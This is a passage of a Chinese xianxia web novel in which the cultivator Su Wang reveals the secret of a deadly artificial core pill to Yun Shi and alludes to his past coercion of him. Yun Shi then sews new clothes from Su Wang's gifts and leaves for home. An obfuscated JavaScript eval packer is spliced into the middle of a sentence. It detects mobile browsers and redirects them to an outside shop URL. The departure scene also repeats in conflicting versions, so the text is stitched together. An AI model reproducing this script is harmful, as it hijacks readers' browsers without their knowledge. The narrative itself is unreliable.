“但我的那位同门,”苏妄的声音陡然转冷,带着一丝残酷的意味,“他见我成功,心生贪念,又觊觎这丹药可能带来的力量,瞒着我,偷偷服下了另一颗。”他扯出一个毫无笑意的笑容,“他死了。就在准备突破下一个大境界的关键时刻,丹药中蕴含的极端冲突力量与他自身灵力彻底暴走,将他从内到外炸得粉碎,魂飞魄散。” 大殿内死寂无声,只有苏妄冰冷的话语在回荡:“我本来想把这配方彻底毁掉、藏起来。但世上没有不透风的墙,总有人通过各种途径知道了一星半点,偷了去,自己找材料炼制,然后服用……再然后,无一例外,都在试图突破更高境界时,灵力失控,暴毙而亡。无一例外。” 他上前一步,逼近云实,那强大的压迫感几乎让云实窒息。 “现在,你明白了吗?”苏妄的红眸紧紧攫住云实的眼睛,“你以为我给你的,是一条捷径?它确实是,但它更是一把悬在你头顶、随时会在你跳得最高的时候落下的铡刀!‘锚定期’是你奠定自身道基的关键,也是这颗人造内丹与你本身根基冲突最激烈、最可能引爆的时候!你现在感觉到的‘突破契机’,有多少是真正属于你的感悟,有多少是这颗内丹狂暴力量推动下的虚火?” “不把它‘掏出来’,你这次破境,九成九会和我那偷药的同门一样,死得连渣都不剩。”苏妄的语气斩钉截铁,没有任何转圜余地,“你之前所有的忍耐、算计,你那些‘爱’啊‘恨’的,都会随着‘砰’的一声,烟消云散。你甘心吗?” 8. 【六】间章 接下来苏妄说的话,云实估计要记一辈子了。 不把它掏出来,破境会死得连渣都不剩…… 苏妄的话像一把把淬了冰的凿子,一字一句,把他几年来构建的所有认知——关于修仙、关于力量、关于他和苏妄之间扭曲的关系——敲得粉碎,露出底下嶙峋而荒诞的真相。 “当、当然,”他听见自己的声音在抖,努力想抓住点什么,“您说的‘掏出来’,不是真的……拿出来?” 这问题蠢得他自己都想笑,可除此之外,他不知该问什么。苏妄的故事太惊人,太颠覆,像一幅精心绘制的盛世图卷被突然撕开,露出背后混乱肮脏的草稿。 “直接拿出来?”苏妄嗤笑一声,仿佛听到了什么天真的童言,“那你这身勉强练出来的皮囊,当场就得塌掉大半,跟抽了脊梁骨的蛇差不多。不过比起突破时炸成烟花,确实算个全尸。” 他踱回玉璧前,指尖无意识地划过那些流动的符文,光影在他俊美却透着无尽疏离的脸上明明灭灭。 “你一定很想知道,”苏妄背对着云实,声音恢复了那种带着磁性的平静,却比刚才的冰冷更让人心悸,“为什么我成功了,而别人都死了?我身体里那颗东西,到底还在不在?我为什么能走到今天这个位置?还有,最关键的——”他顿了顿,转过身,红眸如血,牢牢锁住云实,“我为什么,要把这颗‘改良版’的丹药,给你。” 云实喉咙发紧,一个字也吐不出来,只能僵硬地站着,等待那或许更加不堪的答案。 “首先,我修的是‘序乱’。”苏妄伸出一根手指,“‘序’是结构,是规律,是束缚;‘乱’是混沌,是变化,是打破。世人大多以为,先有‘序’,才能控‘乱’。错了。”他嘴角勾起一丝近乎癫狂的弧度,“真正的‘序乱’之道,必须先‘乱’到极致,在绝对的混沌与毁灭中,才能诞生出真正属于你自己的、牢不可破的‘序’。‘序’灵根为何罕见?不是因为它更强,恰恰相反——它太容易让人陷入僵化的‘秩序’里,画地为牢,比‘乱’更容易走火入魔,变成一具只知道遵循规则的活尸。” “我当时濒死觉醒的,是‘乱’。那颗丹药,增强的也是‘乱’。”苏妄指了指自己的丹田,“我可以不用它吗?或许可以慢慢养伤,但那时候我快死了,仇家就在外面,宗门里想看我笑话、甚至想我死的人也不少。我不得不用。” 他走近两步,距离近得云实能看清他红眸深处那一丝几乎难以察觉的疲惫与厌倦。 “我可以直接告诉你一个秘密,云实。”苏妄的声音压得很低,带着一种诡异的蛊惑力,“我没有突破‘锚定期’。” 云实猛地睁大眼睛,难以置信。 “对,我没有。”苏妄肯定地重复,甚至笑了笑,“但我比绝大多数‘锚定期’、‘跃迁期’,甚至一些‘环流期’的修士都厉害。傻眼了吧?这个秘密,你尽管跟别人说去。不过,他们不会信。当然,你最好也别说。” “因为道理很简单——按照正统的修炼路径,不突破‘锚定期’,意味着没有选定本命矛盾,没有构建起自身力量的核心扳机,灵力无法质变,修为上限会被死死卡住。”苏妄摊开手,“就像盖房子不打地基,注定是空中楼阁,一推就倒。更别提我体内还有那颗随时可能爆炸的‘乱丹’。理论上,我早该死了,死得透透的。” “我在服下丹药、侥幸活下来之后,就仔细检查过自己。那颗内丹的能量,磅礴、暴烈、混乱,足以把当时的我炸成粉末一百次。而我,”他点了点自己的太阳穴,“我和你一样,原本是杂灵根,而且杂得非常均匀,均匀到近乎没有亮点。是乱丹的极致力量,强行把我那摊均匀的死水,搅动、吸附、扭曲,全部扯向了乱的一侧,才让我显露出所谓的乱灵根天赋。” “但是,”他话锋一转,红眸锐利,“我同时又能保持相对清晰的理智,没有被混乱彻底吞噬。为什么?” 他自问自答,答案却令人绝望,“因为我放弃了‘进化’。” “我不再去追求突破下一个大境界,不再去执着于选定什么‘本命矛盾’。我就停在‘感气期’的巅峰,或者说,停在因为‘乱丹’而变异了的、似是而非的‘感气期’。”苏妄的语气平淡得像在说今天吃什么,“我做我的小修士,靠着丹药强行提升上来的、远超同阶的灵力总量和那点‘乱’的诡异特性,在宗门里熬着。很快,我就成了‘伤仲永’的代名词,成了师长惋惜、同门嘲笑的废物。一个明明有强大灵力波动,却连‘锚定期’都进不去的‘天才’。” 云实听得心神剧震。放弃晋升?停在起点?这需要多大的……勇气?或者说,多大的绝望和清醒? “然后我就下山了。”苏妄继续说,眼中闪过一丝追忆,“打着‘行侠仗义’、‘历练红尘’的旗号。当然,我说过,我是天才。”他毫不客气地再次强调这个词,“哪怕境界停在原地,我的灵力总量和对‘乱’之力的粗浅运用,也足够我在凡人地界和低阶修士里横着走。我结识了三教九流的人,有走投无路的散修,有对宗门失望的弟子,有被世道逼疯的奇人,也有单纯觉得我‘有意思’的怪胎。后来,人多了,我就组建了一个松散的组织,也就是大自在天的前身。” “我的功法,在‘境界’上没有进步,但我对力量的理解、运用的技巧、还有那些歪门邪道的法术研究,从未停止。”苏妄的语气里终于透出一丝属于他本性里的恣意,“上限被锁死了,但智慧没有上限。我能把最基础的灵力操控练到极致,能用‘乱’力模拟出各种诡异效果,更能统筹、利用身边每一个人的长处和欲望。当然,想杀我的人一直很多,宗门里的,外面的,看我碍眼的,觊觎我秘密的……他们差点就成功了不止一次。但我总是能逃掉,或者反过来,让他们消失。” 他看向云实,目光复杂:“我对你的感情,是真的。”这句话说得突兀,却斩钉截铁,“无论你觉得多扭曲,多不可理喻。我喜欢看你挣扎,看你算计,看你明明恨我却不得不依赖我,甚至学着爱我。你对我的感情是装的,也无所谓。我确实喜欢你,但又懒得时刻在意你的感受是否舒适。我只在乎我自己的感受和兴趣。我承认,我不是个好人,从来都不是。” “回到正题。”苏妄似乎对刚才的情感宣言并不在意,迅速拉回话题,“当时天下大乱,烽烟四起,我那个松散的组织也在风雨飘摇中。我开始自己研究,怎么才能让我这个‘锁死’的系统,继续‘升级’。不是突破境界,而是另辟蹊径,绕开那该死的‘锚定期’瓶颈。” 他眼中闪过一丝奇异的光彩,像是兴奋,又像是讥诮:“我找到了一些古老禁忌的法子,尝试融合,结果……引来了‘天劫’。” 云实倒抽一口凉气。天劫!那是突破大境界时,天道对修士的“校准”与考验!苏妄连“锚定期”都没到,怎么会引动天劫? “我自己也吓了一跳,但更多的是好奇。”苏妄歪了歪头,像个恶作剧得逞的孩子,“我当时做了个更大胆的决定——我不渡了。就在天劫锁定的瞬间,我用尽手段,直接屏蔽了自身所有气机,躲进了事先布置好的秘室。” “结果?”他摊手,“我在里面躲了三天,出来一看,啥事没有。天劫的气息消散了,而我……该研究出来的‘升级’方法,居然成了。虽然过程凶险,代价不小,但我确实绕开‘锚定期’,获得了一部分本应在更高境界才能掌握的力量特质。” 他看着云实震惊到失语的脸,缓缓道:“显然,别人不是傻子。我这种异常,很快引起了某些同样被困于瓶颈、或是对现有体系产生怀疑的修士注意。我们互相试探,交换秘密,最后发现……嘿,这所谓的修仙大道,这森严的境界等级,好像……并不那么绝对?至少,有漏洞,有别的‘小路’可走。” “于是,我们这些人,这些发现了‘骗局’一角,或是不甘心被既定路径束缚的异类,慢慢聚集起来,形成了现在的‘大自在天’。”苏妄张开双臂,仿佛在拥抱这座奇诡的殿宇,“链接我们的,不是血缘,不是严格的师徒传承,而是共同的认知、对‘序乱’之道的探索,或者单纯就是……不想按别人的规矩活。他们,算是我选择的‘家人’。” “见识了‘天劫可避’、‘境界可绕’这件事之后,我本可以把这‘骗局’彻底捅出去,让天下大乱。”苏妄的语气变得有些索然,“但我没那么做。为什么?因为我看够了乱世,看够了尸山血海。骗局成型了,世界靠着这套‘境界有序’的体系,至少维持着表面的稳定。墙内的人以为墙外是地狱,安心活着;墙外的人挣扎求生,好歹有个‘修仙得道’的念想吊着。我无所谓了。这套体系是真是假,是牢笼还是阶梯,对我而言,区别不大。我能跳出去一点,活得自在,就够了。” 他顿了顿,红眸重新聚焦在云实脸上,那里面竟罕见地流露出一丝极淡的、近乎悲悯的神色。 “但是,我大概还剩点良心吧。”苏妄自嘲地笑了笑,“偶尔,我会想,这套‘骗局’总得有人知道真相,世界不能永远这样下去,总得有点‘反抗者’,哪怕只是埋下几颗种子。所以,我会特意去找一些像你这样的‘杂灵根’孩子,看看他们有没有那么点不同,有没有可能……成为那个变数。” “所以,云实。”苏妄最后总结,声音清晰而平静,“你体内的丹药,是改良过的。直接‘掏出来’的技术,我这些年已经完善了不少。取出来,你会虚弱很长一段时间,几乎与凡人无异,但不会死,根基也不会全毁。调养得当,或许还能重新站起来,走一条……更平凡,但也更安全的路。到时候,你再自己选,是彻底离开这个圈子,回去卖你的布,还是用别的法子,从头再来。” 巨大的信息量冲击得云实头晕目眩,每一个字都像重锤敲打他的认知。骗局?漏洞?可绕过的天劫?大自在天的真相?苏妄的“良心”和“实验”? 无数疑问和情绪翻滚,最终,一个最初也最直接的问题冲破了他混乱的思绪,他听到自己嘶哑的声音问: “既然……你早就知道这些,既然你给丹药可能是在‘选种子’……那为什么,当初在栖霞镇,你要用那种方式?那么……恶劣?” 他想起那一晚的冰冷和钝痛,想起之后数年的屈辱与挣扎,“如果你只是想找‘反抗者’,不能换一种方式吗?” 苏妄静静地看了他几秒,然后,忽然笑了起来。不是嘲笑,也不是惯有的玩味,而是一种更深的、近乎虚无的疲惫笑容。 “因为啊,云实,”他轻轻地说,声音里听不出多少情绪,“我活了太久,见了太多,对寻常的感情、温吞的相处,早就麻木了。我需要更强烈的、更极端的情感刺激,才能让我感觉……自己还活着。” “胁迫,交易,权力不对等下的强制与屈从,恨意与依赖的扭曲交织,还有后来你学着表演的‘爱’……”苏妄舔了舔嘴唇,眼神有些空茫,“这些能带来剧烈的情绪波动,无论是你的,还是我的。我需要这些,来维持我的‘存在感’。很病态,是吧?但我乐意。” 他看向云实,语气甚至称得上“诚恳”:“如果你想为当年的事,为你这些年的感受,向我讨要代价,我乐意支付。灵石?资源?甚至让我帮你杀个什么人?都可以谈。如果你因此恨我入骨,想尽办法报复我,与我产生更猛烈、更持久的纠葛……我也乐意奉陪。这比无聊的和平有意思多了。” 他顿了顿,像是忽然想起什么,补充道:“哦,对了。大自在天这摊子事,我也管得有点腻了。确实该有个人来继位,或者分担一下。上一个我给了类似丹药的孩子……天赋没你好,心性也差些,在第一次尝试绕开‘锚定期’的小关口时,没能撑过去,死了。所以,我看好你。” 最后,他耸了耸肩,一脸理所当然:“还有,我从来没说过我是好人,也不想为我的行为找什么冠冕堂皇的理由。我就是这么个人,做了,认了,后果也担着。你想怎么选,随你。是取出丹药当个凡人,还是留着它,继续走这条遍布荆棘也可能看到不同风景的险路?甚至,是恨着我,利用我,然后试着……推翻我,或者推翻这套你看不惯的东西?” 苏妄说完,不再看云实,转身走向玉璧深处,身影渐渐被流动的符文光影吞没,只留下最后一句话在空旷的大殿中幽幽回荡:“自己选吧。这次,真的没人逼你了。” 云实独自站在无常殿中央,浑身冰冷,脑中一片轰鸣。苏妄的话像一场飓风,将他过去数年构建的一切都卷上了天,撕扯得七零八落。真相、骗局、利用、实验、扭曲的情感、赤裸的选择……巨大的信息洪流几乎要将他淹没。 他缓缓蹲下身,抱住自己的膝盖,将脸埋进臂弯。肩膀无法抑制地颤抖起来。 这一次,没有屈辱,没有愤怒,甚至没有太多恨意。只有一种深入骨髓的、冰冷的虚无,以及在那虚无深处,悄然滋生的一丝……难以言喻的清明。 路,原来还可以这样走。 或者,不走。 …… 无常殿那场颠覆性的对话后,云实像是被抽走了全身筋骨,浑浑噩噩地回到了自己在膳堂旁的那间小屋。 关上门,隔绝了外界一切声响和窥探,他背靠着冰凉的门板,缓缓滑坐到地上。没有立刻思考,没有痛哭流涕,甚至连呼吸都变得极其轻微。脑子里像塞满了浸透水的棉絮,沉重、滞涩,却又空空荡荡。苏妄那些惊世骇俗的话语——骗局、放弃进化、天劫可避、改良丹药、种子……每一个词都带着千钧重量,反复砸落,将他过去几年赖以支撑的所有认知都碾得粉碎。 什么是对?什么是错?修仙为何?力量何用?他与苏妄之间,又到底算什么?一场漫长的、清醒的、双方都心知肚明的实验?一次恶劣趣味主导下的扭曲互动?还是真如苏妄所言,带着一丝良心的、挑选反抗者的尝试?或许都是,又或许都不是。真相像一团纠缠不清的乱麻,而他被裹在最中央,几乎窒息。 他就那样坐着,从午后坐到日暮,从黑夜坐到黎明。月光透过窗棂,在地面投下冷清的光斑,又悄然褪去,换上天光。身体因为长时间维持一个姿势而僵硬麻木,丹田处那颗暗红的内丹似乎也感应到主人心神的剧烈动荡,时而沉寂如死,时而微微搏动,散发着混乱不安的微热。 直到第三日晌午,小屋的门被轻轻叩响。 云实涣散的眼神微微聚焦,却没有动。 门外安静了片刻,一个略显陌生的、恭敬的声音响起:“云实师兄,尊上遣我送些饭食来。” 师兄?这个称呼让云实嘴角扯出一丝极淡的、近乎自嘲的弧度。在大自在天,因着苏妄的关系,确实有些低阶弟子或执事会这样称呼他,尽管他修为低微,身份尴尬。 他依旧没应声。 门外的人似乎也不意外,又等了一会儿,才将什么东西轻轻放在门口,脚步声便远去了。 又过了不知多久,腹中传来的、尖锐到几乎痉挛的饥饿感,才将云实从那种木然的状态中强行拽回一丝神智。他动了动僵硬的脖子,视线落在紧闭的门扉上。饿……很饿。原来人极度空虚的时候,身体最本能的欲望反而会凸显出来。 他挣扎着,用发麻的手脚撑起身体,摇摇晃晃地走到门边,拉开门。门槛外放着一个朴素的三层食盒,旁边还有一个小小的、不起眼的布袋。 他先拿起那个布袋,入手很轻。解开系绳,里面是一支竹笛。 笛身是普通的青竹所制,颜色温润,显然有些年头了,打磨得十分光滑,笛孔匀称,尾端系着一缕褪色的红绳。看起来平平无奇,就像凡间市集上几个铜板就能买到的玩意儿。 云实拿起竹笛,入手微凉。他下意识地注入一丝微弱的灵力——并非他主动操控,而是体内乱丹在感应到陌生物件时自发的、细微的波动。 就在灵力触及竹笛的瞬间,笛身内部似乎有什么被触动了,极轻微地“嗡”了一声,一道极其隐晦、若非云实此刻心神异常集中几乎无法察觉的灵力波动,以竹笛为中心,倏地扩散出去,仿佛一道无形的涟漪,迅速投向无常殿的方向。 与此同时,云实感觉到竹笛中段某处,内部的竹节似乎有极其细微的错位。他手指抚过那里,略一用力,一小截中空的竹管被旋开,里面藏着一张卷得极细的、泛黄的纸条。 他没有立刻取出纸条,而是先看着竹笛本身,又想起刚才那道飞向无常殿的涟漪。这竹笛……是个信物,也是个“示警”装置。只要他打开藏有纸条的部分,或者可能只要他试图折断或破坏竹笛,苏妄那边立刻就会知道。 云实扯了扯嘴角。果然是苏妄的风格。给出选择,留下方法,却也要掌控一切动向。是怕他悄无声息地死掉?还是想看看他究竟会怎么做? 他将那截竹管重新旋紧,把竹笛小心地放在一旁,这才打开那个三层食盒。里面是几样清淡却精致的灵食小菜,一碗灵气盎然的清粥,还有一小壶温热的、带着安神效果的灵茶。饭菜还带着余温,显然是刚送来不久。 云实盘腿坐在冰冷的地上,端起那碗粥,一口一口,缓慢而机械地吃着。粥很香,灵米软糯,带着滋养经脉的温和效力,顺着食道滑入胃中,渐渐驱散了那令人心慌的饥饿感和虚弱。他吃得很认真,仿佛这是眼下唯一能抓住的、实实在在的东西。 吃完饭,他将食盒收拾好放在门外,重新关上门,坐回原地。这一次,他没有再陷入完全的空白,目光落在了那支竹笛上。 他没有去动那张纸条。现在还不行。脑子里的风暴尚未平息,他无法在这样混乱的状态下,去决定是否要取出那颗改变了他命运、也带来了无数痛苦和可能的内丹。 他只是看着竹笛,看着那缕褪色的红绳,想起了很多事。想起青石镇家中那个灰扑扑的储物袋,想起父母弟妹的脸,想起纸鸢亮晶晶的眼睛和那些荒诞的画本,想起天衡宗后厨的烟火和流衍师兄温和的叮嘱,想起天蕴师姐冷冽的指点和那些被修补好的练功服……最后,无可避免地,想起苏妄。想起他昳丽又恶劣的笑容,想起他带来的伤害与屈辱,想起他偶尔流露的、难以捉摸的专注,也想起他在无常殿中,那番惊世骇俗又疲惫不堪的自我剖白。 恨吗?当然恨。恨他的肆意妄为,恨他将自己拖入这般境地。但此刻,那恨意似乎不再像之前那样纯粹而灼热,而是混入了更多复杂的、难以言喻的东西——一种对真相的茫然,对命运的荒谬感,以及对苏妄这个人本身那深不可测的、混合着强大、脆弱、自私与孤独的复杂认知。 接下来的几天,云实依旧没有离开小屋。他按时吃饭,偶尔打坐,尝试梳理体内那依旧躁动不安的灵力,更多的时候,只是安静地坐着,看着那支竹笛,或者望着窗外大自在天那奇诡又秩序井然的景象出神。 崩溃的情绪如同潮水,在最初的猛烈冲击后,渐渐退去,留下被冲刷得一片狼藉、却也异常清晰的“滩涂”。他开始能一点点地整理那些碎片化的认知。 苏妄说的,很可能是真的,至少大部分是真的。那套境界体系或许并非绝对,大自在天的存在就是证明。自己体内的内丹,既是枷锁,也可能真的是一个独特的“机会”。苏妄对自己……或许有几分扭曲的真,但更多的,是一种居高临下的观察、利用,以及对他自身无聊生命的刺激需求。 那么,自己该怎么办? 取出内丹,变回一个普通的、甚至因经脉受损而更加虚弱的凡人?回到青石镇,继续卖布,将这几年发生的一切当作一场荒诞的噩梦?可那些经历,那些见识,体内残留的灵力波动,还有对家人处境更深切的担忧,真的能当作没发生过吗? 留着内丹,继续沿着这条被苏妄指出可能存在的“险路”走下去?前面是更深的迷雾,是苏妄口中“九死一生”的突破关口,是可能像之前那个孩子一样无声无息死去的结局。但……也有可能,看到不一样的风景,获得不一样的力量,甚至,有朝一日真正拥有选择的能力,去保护想保护的,或者……去改变想改变的? 两个选择,都充满未知和风险。一个指向平凡的绝望,一个指向危险的未知。 云实发现,当剥开所有情绪的外壳,最核心、最无法忽视的念头,竟然还是最初的那个——家。 他想让父母不再为生计发愁,想让父亲的手臂得到更好的治疗,想让弟妹有更安稳、更有希望的未来。这个愿望,从未改变,只是在经历了这么多之后,变得愈发沉重和清晰。 而在理清了关于苏妄、关于修仙、关于自身处境的纷乱思绪后,一个异常朴素、甚至显得有些可笑的行动计划,在他心中逐渐成型。 几天后的一个清晨,云实洗漱完毕,换上一身干净的衣衫,将那支竹笛仔细地系在腰间,然后推开房门,走了出去。 阳光有些刺眼,他眯了眯眼,适应了片刻,才朝着无常殿的方向走去。脚步起初有些虚浮,但很快便稳定下来,带着一种奇异的平静。 无常殿外的守卫见到他,并未阻拦,只是微微颔首。云实径直走入殿中。 苏妄依旧在那面巨大的玉璧前,不过这次是坐着的,手里把玩着一枚不断变幻形态的暗红色晶石。听到脚步声,他转过头,红眸落在云实脸上,似乎并不意外他的到来。 “想好了?”苏妄开口,语气随意,听不出什么期待或催促。 云实走到玉台前数步远,停下,看着苏妄。几日不见,苏妄似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934566|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎没什么变化,依旧是那副俊美慵懒、万事不挂心的模样。但云实此刻看着他,却仿佛能透过这层表象,看到底下那活了太久、对寻常情感已然麻木、只能靠极端刺激维系存在感的疲惫灵魂。 他没有回答苏妄的问题,而是直接说出了自己深思熟虑后的决定——或者说,第一步。 “我来找你,是想……”云实顿了顿,迎上苏妄略带探究的目光,清晰地说道,“多要几个用微薄灵力就能打开的储物袋。” “……” 殿内陷入一阵古怪的沉默。 苏妄把玩晶石的手指停了下来。他微微偏头,像是没听清,又像是怀疑自己听错了。红眸盯着云实看了好几秒,确定对方脸上没有任何玩笑或挑衅的神色,只有一种近乎耿直的认真。 然后,毫无预兆地,苏妄“噗嗤”一声笑了出来。不是惯常那种带着嘲弄或恶意的笑,而是真正的、仿佛被戳中了某个意想不到的笑点,畅快而短促的笑声。 “哈!哈哈哈……”他笑得肩膀都有些抖动,手里的晶石差点滚落,“储物袋?用微薄灵力就能打开的?还要‘几个’?”他重复着云实的话,眼中充满了难以置信的趣味,“云实啊云实,我该说你是……太务实,还是太会扫兴?我刚跟你揭露了修仙界可能的惊天骗局,你憋了几天,出来跟我说的第一件事,就是要储物袋?” 云实站在那儿,任由苏妄笑,脸上没什么表情,只是又平静地补充了一句:“最好容量大一点的,结实耐用的。” 苏妄的笑声渐渐止歇,他擦了擦眼角并不存在的泪花,红眸重新打量云实,那目光里充满了新鲜的好奇。 “行,你要,我就给。” 他倒爽快,随手在虚空一划,一个暗红色的漩涡出现,他探手进去,哗啦啦掏出一大把颜色各异、但样式都相对朴素的小袋子,像丢垃圾一样,一股脑堆在云实脚边。 “喏,够不够?”苏妄拍了拍手上并不存在的灰,“都是些我早年随手做出来的破烂玩意儿,内部空间稳定,防潮防腐,触发需要的灵力微乎其微,正好符合你的要求。有些里面可能还残留点上一任主人的零碎,你自个儿清理吧。” 云实低头看着脚边那一小堆储物袋,材质从普通皮革到低级灵绸都有,颜色灰扑扑的,确实不像什么珍贵法器。但他蹲下身,一个个仔细检查过去,感受着它们内部的空间大小和灵力触发阈值,神情专注得像是在挑选什么绝世珍宝。 苏妄托着下巴,饶有兴致地看着他这副样子。等云实检查得差不多了,将那些袋子一个个收拢起来,抱在怀里,直起身,苏妄才悠悠开口:“怎么,准备改行当货郎?还是打算开个杂货铺?” 云实抱着那一堆储物袋,看向苏妄,摇了摇头:“我要走了。” 这三个字说得平静,却带着一种不容更改的决断。 苏妄脸上的笑容淡了些,但并未消失。他靠在玉椅上,换了个更舒服的姿势,红眸深深地看着云实。 “走啊?”他语气依旧随意,“也好。说实话,云实,你是我见一个爱一个里面最爱的一个。”他顿了顿,“不过我知道,我也留不住你。你这小子,看着温吞,骨子里犟得很,认准了什么事,十头牛都拉不回来。” 他站起身,走到云实面前,伸手,似乎想碰碰他的脸,但在半空中停顿了一下,最终只是拍了拍他的肩膀,力道不重。 “别死了,啊。”苏妄的声音低了下来,带着一种难得的、近乎平淡的认真,“我还等着看你的‘表现’呢。看看你这颗我亲手埋下的种子,到底能长出点什么来。是悄无声息地烂在土里,还是……真的能捅破天,让我这双看腻了的眼睛,再亮一亮。” 说完,他后退一步,挥了挥手:“走吧。竹笛收好,里面的东西,你什么时候想看,自己决定。大自在天的门,你认得。以后想回来看看,或者惹了麻烦需要个暂时躲雨的地方,随时。” 云实看着苏妄,这个给了他最深伤害、也带来了最颠覆认知、此刻又显得异常“通情达理”的男人。千言万语堵在胸口,最终却只化作一个极轻的点头。 “嗯。” “等等。” 云实脚步一顿,没有回头。 一阵细微的灵力波动掠过,紧接着,几样东西被一股柔和的力量托着,稳稳地悬停在他身侧。 一个鼓鼓囊囊的、看起来很普通的灰色钱袋,入手沉甸甸的,里面传来灵石与金银摩擦的细微声响。一包用油纸仔细包好的干粮,散发着灵谷和肉脯的混合香气,足够一个人吃上很久。还有……两套折叠整齐的衣物。 一套是毫无纹饰的月白色外袍,料子普通,样式简洁到近乎寒酸,像是那些最落魄的散修或者刻意低调的行脚商才会穿的,丢在人群里毫不起眼。另一套,则是鲜明夺目的大自在天制式外袍,暗红色的底料上,用稍浅的金红丝线绣着代表序乱的抽象纹路,质地柔韧,隐隐有灵光内蕴,穿上它,走在哪里都昭示着“大自在天”的门庭。 云实看着这两套风格迥异、寓意截然相反的衣物,沉默了片刻。 “路上总得换洗。”苏妄的声音听不出什么情绪,仿佛只是随口一提,“白的,省事。红的……或许有时候,也能省点事。” 这话说得含糊,但云实听懂了。白色的普通衣物便于隐匿行迹,减少不必要的注意;而那身大自在天的红袍,在某些情境下,或许本身就是一种威慑或通行证。 他没有说谢,只是将钱袋、干粮和两套衣服,与那一堆储物袋一起,仔细地收好,然后迈步,真正离开了无常殿。 回到自己那间小屋,云实并没有立刻动身。他先将那三十几个储物袋一一检查、分门别类,将其中几个空间最大、状态最稳定的单独放在一边,准备留给家里。其余的,或许路上可以用来装些东西,或者以备不时之需。 然后,他的目光落在了那两套衣服上。 白色的,大红的。天衡宗的蓝,大自在天的红。仙尊的馈赠,亦是身份的标记。 他坐在床边,拿出了针线——这是他从膳堂杂物间里带出来的,原本用来缝补锅具帆布的粗针和结实的灵线,后来也被他用来修补衣物。 他没有试穿任何一套。而是将两件外袍都铺展开,拿起剪刀,毫不犹豫地沿着缝线,将它们拆解开来。月白色的布料和暗红色的布料被分割成大小不一的布块,摊了满满一床。 他凝视着这些布料,眼神专注,手指抚过不同的质地和颜色。然后,他开始拼接。不是胡乱拼凑,而是有意识地交错、叠加。用白色的布料作为底衬和主体,将红色的布料裁剪成条状、块状,或作为镶边,或作为肩背、袖口的点缀,甚至将那些金色的火焰纹路小心地拆解下来,重新组合成更抽象、更个人化的纹样,缝制在衣襟内侧或下摆不易察觉的地方。 他的手法依旧扎实,针脚细密而牢固。一针一线,仿佛不是在缝制一件衣服,而是在梳理自己过去几年混乱的轨迹。白色的平凡,红色的张扬,天衡宗的规训,大自在天的恣意,被迫的依附,清醒的利用,恨意,算计,还有那一点点说不清道不明的、或许存在过的扭曲牵绊……所有这些,都被他拆开,打散,再按照自己的理解,重新缝合。 当最后一线收尾打结,一件全新的外袍出现在他手中。底色是偏冷的月白,但领口、袖缘、衣摆等处,恰到好处地镶嵌着暗红色的滚边和拼接,那些重新组合过的金色纹路在布料交接处若隐若现,既不会过于扎眼,又透着一股独特的、难以归类的气息。它不再纯粹是散修的寒酸,也不再是大自在天的张扬,而是成了独属于“云实”的东西——一个来自青石镇布店、经历过仙门底层挣扎、又被卷入至高隐秘的年轻人,为自己准备的行装。 他抖开外袍,披在身上。尺寸合身,行动无碍,红白相间的样式在铜镜中映出一个既陌生又有些熟悉的影子。他看了片刻,默默脱下,仔细叠好。 剩下的边角料还有不少。云实挑出最柔软、颜色最鲜亮的一块红色内衬布料,比划了一下,开始裁剪。他的动作更加轻柔,带着一种与之前不同的温情。飞针走线间,一件小巧的、适合小姑娘穿的短衫渐渐成形,领口和袖口他特意用了剩下的白色布料滚边,还在衣角处,用最细的线,绣了一朵小小的、歪歪扭扭的云纹——那是“云锦记”的标记,也是他们家的姓。 给弟弟云岭的……他看了看剩下的布料,摇了摇头。云岭正是抽条长个的时候,衣服做得再合身,恐怕也穿不了多久。不如省下这些或许还蕴含着微弱灵气的特殊布料,回家路上,用苏妄给的钱,去成衣铺子给他买两件结实耐穿的新衣服更实在。 他将给小妹做的小衣服也仔细叠好,和那件红白外袍、准备好的储物袋、钱粮放在一起。 做完这一切,窗外已是星斗满天。云实盘膝坐在床上,最后看了一眼这间生活了不算太久、却经历了无数心境起伏的小屋。然后,他吹熄了灯,在黑暗中静静调息,等待着黎明。 天光微熹时,他背上一个不算大的行囊,将那些准备带回家的储物袋和小衣服仔细收在贴身的衣物内层,腰悬竹笛,悄然离开了大自在天的山门。 守门的弟子似乎得了吩咐,并未阻拦,只是默默让开道路。 晨雾缭绕的山道上,那个穿着朴素旧衣、背影却似乎比来时挺拔了些许的年轻人,一步一步,走向山下,走向他阔别已久的凡尘,走向那条连接着过往与未来的、属于他自己的道路。红日在他前方缓缓升起,照亮了蜿蜒前路,也将他孤独却坚定的影子,拉得很长。 他不再多言,抱着那一堆沉甸甸的、装满了低级储物袋的包袱,转身,一步一步,走出了无常殿。 殿外阳光正好,照耀着大自在天奇诡而有序的殿宇楼阁。云实没有回头,径直沿着来路,向山门的方向走去。 腰间,那支普通的青竹笛,随着他的步伐,轻轻晃动着。 他离开了大自在天,离开了苏妄的视线,也离开了这持续数年的、充满了屈辱、算计、颠覆与诡异温存的扭曲关系。 第一步,他要去青石镇,回家。把这些储物袋,送给父母。这是他目前,唯一能切实为家里做的事。 至于以后……路还长。 身影渐渐消失在蜿蜒的山道尽头,融入苍茫的翠微山色之中。无常殿内,苏妄重新坐回玉椅,指尖无意识地点着扶手,红眸望着云实消失的方向,久久未动。最终,他只是极轻地、几乎无声地,叹了口气。那叹息里,似乎有遗憾,有期待,或许还有一丝连他自己都未曾察觉的……释然。 种子已经撒下,是生根发芽,还是无声腐烂,就看那片土壤,和种子自己的造化了。 9. 【七】 